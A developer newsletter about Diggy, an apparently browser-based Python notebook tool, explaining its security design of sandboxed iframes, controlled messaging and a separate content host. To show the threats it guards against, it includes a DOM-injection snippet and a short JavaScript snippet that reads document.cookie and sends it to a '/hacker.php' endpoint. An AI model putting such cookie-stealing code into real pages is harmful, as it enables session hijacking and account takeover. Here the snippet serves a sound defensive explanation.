Diggy Newsletter #3

Hey everyone. Wow, it’s 2021 already. How are you?

Diggy registration is open! But let talk for a moment about security and what makes Diggy a safe environment. As you can imagine, one can write a python code and someone else will run it in a browser, so how do we defend a user? There’re several layers of protection that I’m going to cover in this update.

First of all, under the hood Diggy is running two “applications”: the main application and the runtime. I’ll explain in a second why it is crucial to do it that way.

Say a user writes the following code (bare with me, it’s javascript for the sake of the demo):

var div = document.createElement('div')
div.textContent = "Hello!"
document.body.appendChild(div)  // oh, no!

Whoops, a user has just injected a custom HTML code to the page. How bad could it be? Well, pretty bad. A hacker could inject an element that pretends to be Diggy, but instead it would do something malicious like asking you for a password.

Diggy’s runtime runs in a sandboxed iframe, and the application communicates with the iframe through serialized messages. All methods that consume them are tightly controlled.

Iframes could be clunky, but they are designed and battle-tested for security — the long era of iframe-based ads. Simply put, as long as you trust your browser, Diggy is safe. Hopefully, you didn’t notice that Diggy runs inside an iframe; otherwise, I’ll have to take a step back a spend some time on the design.

What else could go wrong when you run a code written by someone else? Stealing cookies! If your cookies are not safe, it’s just a matter of time until a hacker impersonate your identity.

var cookie = document.cookie
var x = new XMLHttpRequest()
x.open("GET", "/hacker.php?request=" + cookie, true)
x.send()  // oh, no!

To prevent this, Diggy runs custom code on a separate host that doesn’t have access to your login credentials or anything else from the application. It’s a similar security model to how raw files on GitHub are served from githubusercontent.com.

You can inspect a web page using developer tools. All Diggy notebooks are hosted on a separate host diggyusercontent.com.

On top of that, Diggy application has additional layers of security best-practices like encrypted passwords, CSRF tokens, etc that defend one from other kinds of attacks.

That’s basically it, there’re three simple (not that simple) steps: 1) be conservative about where the code is executed, 2) control message passing, and 3) follow the best industry practices to develop web applications

Ultimately, I wanted to share my experiment to remix A Byte of Python book on Diggy: https://diggyhq.com/examples/book. Although, the translation turned out not as easy as I imagined it could be. In particular, all examples in the book are written using print statements, and Diggy shows a single terminal for all cells. Another item that I found hard to translate is interactive functions like “input”.

This is a symptom that Diggy is lacking UI widgets like input fields to make it more useful in wider contexts. I’ll be working on stdlib to such common parts and extract other bits to libraries. It’s also worth mentioning that I’ll be doing some UX enhancements here and there based on gotchas I find annoying.

That’s pretty much it for now. If you want to try, here’s a sign up link: https://diggyhq.com/users/sign_up.

Stay safe.

Kirill